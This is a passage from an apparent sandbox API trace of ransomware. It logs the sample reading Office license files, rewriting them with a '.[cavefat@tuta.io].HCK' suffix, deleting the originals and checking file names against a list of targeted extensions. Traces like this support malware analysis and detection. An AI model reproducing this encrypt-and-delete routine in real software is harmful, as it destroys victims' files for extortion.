Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.175] GetLastError () returned 0x0 [0238.175] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0238.177] WriteFile (in: hFile=0x554, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0238.178] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.178] WriteFile (in: hFile=0x554, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11c, lpOverlapped=0x0) returned 1 [0238.178] SetEndOfFile (hFile=0x554) returned 1 [0238.178] CloseHandle (hObject=0x554) returned 1 [0238.179] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.179] SetEndOfFile (hFile=0x564) returned 1 [0238.181] CloseHandle (hObject=0x564) returned 1 [0238.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0238.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.182] lstrlenW (lpString=".doc") returned 4 [0238.182] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.182] lstrlenW (lpString=".docx") returned 5 [0238.182] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.182] lstrlenW (lpString=".pdf") returned 4 [0238.182] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.182] lstrlenW (lpString=".xls") returned 4 [0238.182] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.182] lstrlenW (lpString=".xlsx") returned 5 [0238.182] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.182] lstrlenW (lpString=".ppt") returned 4 [0238.182] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.182] lstrlenW (lpString=".zip") returned 4 [0238.182] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString=".rar") returned 4 [0238.183] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString=".bz2") returned 4 [0238.183] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString=".7z") returned 3 [0238.183] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.183] lstrlenW (lpString=".dbf") returned 4 [0238.183] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.183] lstrlenW (lpString=".1cd") returned 4 [0238.183] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.183] lstrlenW (lpString=".jpg") returned 4 [0238.183] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.183] lstrlenW (lpString=".doc") returned 4 [0238.183] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString=".docx") returned 5 [0238.183] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.183] lstrlenW (lpString=".pdf") returned 4 [0238.183] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString=".xls") returned 4 [0238.183] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString=".xlsx") returned 5 [0238.183] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.183] lstrlenW (lpString=".ppt") returned 4 [0238.183] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.183] lstrlenW (lpString=".zip") returned 4 [0238.183] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString=".rar") returned 4 [0238.183] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString=".bz2") returned 4 [0238.183] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString=".7z") returned 3 [0238.183] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.183] lstrlenW (lpString=".dbf") returned 4 [0238.183] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.183] lstrlenW (lpString=".1cd") returned 4 [0238.183] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0238.183] lstrlenW (lpString=".jpg") returned 4 [0238.184] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.184] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.184] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 33 [0238.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.184] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=10667) returned 1 [0238.184] CloseHandle (hObject=0x564) returned 1 [0238.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220 [0238.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.185] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.185] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.186] GetLastError () returned 0x0 [0238.186] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0238.188] WriteFile (in: hFile=0x554, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0238.189] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.189] WriteFile (in: hFile=0x554, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x116, lpOverlapped=0x0) returned 1 [0238.189] SetEndOfFile (hFile=0x554) returned 1 [0238.189] CloseHandle (hObject=0x554) returned 1 [0238.189] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.189] SetEndOfFile (hFile=0x564) returned 1 [0238.192] CloseHandle (hObject=0x564) returned 1 [0238.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1 [0238.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.193] lstrlenW (lpString=".doc") returned 4 [0238.194] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString=".docx") returned 5 [0238.194] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.194] lstrlenW (lpString=".pdf") returned 4 [0238.194] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString=".xls") returned 4 [0238.194] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString=".xlsx") returned 5 [0238.194] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.194] lstrlenW (lpString=".ppt") returned 4 [0238.194] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.194] lstrlenW (lpString=".zip") returned 4 [0238.194] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString=".rar") returned 4 [0238.194] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString=".bz2") returned 4 [0238.194] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString=".7z") returned 3 [0238.194] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.194] lstrlenW (lpString=".dbf") returned 4 [0238.194] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.194] lstrlenW (lpString=".1cd") returned 4 [0238.194] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.194] lstrlenW (lpString=".jpg") returned 4 [0238.194] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.194] lstrlenW (lpString=".doc") returned 4 [0238.194] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString=".docx") returned 5 [0238.194] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.194] lstrlenW (lpString=".pdf") returned 4 [0238.194] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString=".xls") returned 4 [0238.194] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString=".xlsx") returned 5 [0238.194] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.194] lstrlenW (lpString=".ppt") returned 4 [0238.194] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.195] lstrlenW (lpString=".zip") returned 4 [0238.195] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.195] lstrlenW (lpString=".rar") returned 4 [0238.195] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.195] lstrlenW (lpString=".bz2") returned 4 [0238.195] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.195] lstrlenW (lpString=".7z") returned 3 [0238.195] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.195] lstrlenW (lpString=".dbf") returned 4 [0238.195] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.195] lstrlenW (lpString=".1cd") returned 4 [0238.195] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0238.195] lstrlenW (lpString=".jpg") returned 4 [0238.195] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.195] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.195] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 34 [0238.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.489] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=22094) returned 1 [0238.489] CloseHandle (hObject=0x564) returned 1 [0238.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220 [0238.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.490] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.490] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.492] GetLastError () returned 0x0 [0238.492] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x564e, lpOverlapped=0x0) returned 1 [0238.494] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5650, lpOverlapped=0x0) returned 1 [0238.495] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.495] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x118, lpOverlapped=0x0) returned 1 [0238.495] SetEndOfFile (hFile=0x4ac) returned 1 [0238.495] CloseHandle (hObject=0x4ac) returned 1 [0238.495] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.495] SetEndOfFile (hFile=0x564) returned 1 [0238.498] CloseHandle (hObject=0x564) returned 1 [0238.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1 [0238.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.499] lstrlenW (lpString=".doc") returned 4 [0238.499] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.499] lstrlenW (lpString=".docx") returned 5 [0238.499] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.499] lstrlenW (lpString=".pdf") returned 4 [0238.499] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.499] lstrlenW (lpString=".xls") returned 4 [0238.499] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.499] lstrlenW (lpString=".xlsx") returned 5 [0238.499] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.499] lstrlenW (lpString=".ppt") returned 4 [0238.500] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.500] lstrlenW (lpString=".zip") returned 4 [0238.500] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString=".rar") returned 4 [0238.500] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString=".bz2") returned 4 [0238.500] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString=".7z") returned 3 [0238.500] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.500] lstrlenW (lpString=".dbf") returned 4 [0238.500] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.500] lstrlenW (lpString=".1cd") returned 4 [0238.500] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.500] lstrlenW (lpString=".jpg") returned 4 [0238.500] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.500] lstrlenW (lpString=".doc") returned 4 [0238.500] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString=".docx") returned 5 [0238.500] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.500] lstrlenW (lpString=".pdf") returned 4 [0238.500] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString=".xls") returned 4 [0238.500] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString=".xlsx") returned 5 [0238.500] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.500] lstrlenW (lpString=".ppt") returned 4 [0238.500] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.500] lstrlenW (lpString=".zip") returned 4 [0238.500] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString=".rar") returned 4 [0238.500] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString=".bz2") returned 4 [0238.500] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString=".7z") returned 3 [0238.500] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.500] lstrlenW (lpString=".dbf") returned 4 [0238.500] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.500] lstrlenW (lpString=".1cd") returned 4 [0238.500] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0238.501] lstrlenW (lpString=".jpg") returned 4 [0238.501] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.501] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.501] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 34 [0238.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.501] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=22094) returned 1 [0238.501] CloseHandle (hObject=0x564) returned 1 [0238.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220 [0238.502] 